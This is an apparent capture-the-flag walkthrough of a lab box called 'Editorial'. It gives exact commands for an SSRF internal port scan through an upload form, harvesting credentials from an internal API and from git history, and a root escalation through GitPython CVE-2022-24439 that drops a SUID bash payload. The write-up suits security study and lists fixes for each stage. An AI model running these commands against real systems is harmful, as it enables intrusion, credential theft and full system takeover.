Editorial
Summary
I found a book-publishing web application on port 80 whose cover-image upload form made outbound HTTP requests to any supplied URL, including loopback addresses. By pointing the field at internal ports I discovered an undocumented Flask API on localhost:5000 that returned plaintext developer credentials in its response body.
Those credentials opened an SSH session as the 'dev' user. Inside dev's home directory sat a git repository whose commit history contained the production account password committed in clear text.
Logging in as 'prod' revealed a sudo rule granting that account the right to run a Python cloning script as root. The script used a vulnerable version of GitPython that executes shell commands embedded in 'ext::' git URLs (CVE-2022-24439); supplying a malicious URL caused the script to run my own shell payload as root, yielding full system control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <commit_hash>, <returned_path> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Add the discovered vhost to local name resolution.
$ echo "$TARGET editorial.htb" | sudo tee -a /etc/hostsFull port scan with service and version detection.
$ nmap -sV -sC -p- --min-rate 5000 -oN nmap_full.txt $TARGETConfirm the web app and identify the upload form endpoint.
$ curl -si http://editorial.htb/ | head -40Exact commands 3
Iterate ports; stop at the first internal service that returns a file path instead of the default placeholder.
$ for port in $(seq 1 10000); do result=$(curl -s -X POST http://editorial.htb/upload-cover -d "bookurl=http://127.0.0.1:${port}/" | grep -oP '/static/uploads/[^"]+'); [ -n "$result" ] && echo "HIT port $port -> $result" && break; doneConfirm port 5000 responds; capture the upload path of the proxied content.
$ curl -s -X POST http://editorial.htb/upload-cover -d 'bookurl=http://127.0.0.1:5000/' | grep -oP '/static/uploads/[^"]+' | head -1Retrieve and pretty-print the proxied response — a JSON list of internal API routes.
$ curl -s http://editorial.htb/<returned_path> | python3 -m json.toolFixBlock server-side requests to loopback and private network addressesHigh
Exact commands 2
Fetch the authors endpoint via SSRF; capture the upload path.
$ curl -s -X POST http://editorial.htb/upload-cover -d 'bookurl=http://127.0.0.1:5000/api/latest/metadata/messages/authors' | grep -oP '/static/uploads/[^"]+' | head -1Read the proxied JSON; the dev account password appears in clear text.
$ curl -s http://editorial.htb/<returned_path> | python3 -m json.toolFixRemove credentials from API responses and require authentication on all internal endpointsCritical
Exact commands 2
Authenticate as dev with the API-harvested credential.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev@$TARGETRead the user flag — value: <user.txt>.
$ cat ~/user.txtExact commands 3
From the dev SSH session — list all commits including those that predate credential removal.
$ cd ~/apps && git log --all --onelineInspect the commit that modified credential-related files; the prod password appears in the diff hunk.
$ git show <commit_hash>Authenticate as prod using the credential found in git history.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null prod@$TARGETFixPurge credentials from git history and enforce secret scanning in CIHigh
Exact commands 4
From the prod SSH session — confirm the sudo rule for the clone script.
$ sudo -lWrite the SUID-bash payload to a world-writable directory.
$ printf '%s\n' '#!/bin/bash' 'cp /bin/bash /tmp/rootbash' 'chown root:root /tmp/rootbash' 'chmod 4755 /tmp/rootbash' > /dev/shm/x.sh && chmod +x /dev/shm/x.shTrigger CVE-2022-24439; GitPython passes the ext:: URL to git which executes the payload as root.
$ echo "$PASSWORD" | sudo -S /usr/bin/python3 /opt/internal_apps/clone_chan 'ext::sh -c /dev/shm/x.sh@ /dev/null'Execute with effective root privileges via the SUID bash copy; read root.txt — value: <root.txt>.
$ /tmp/rootbash -p -c 'cat /root/root.txt'FixUpgrade GitPython, remove the over-privileged sudo rule, and validate repository URLsCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |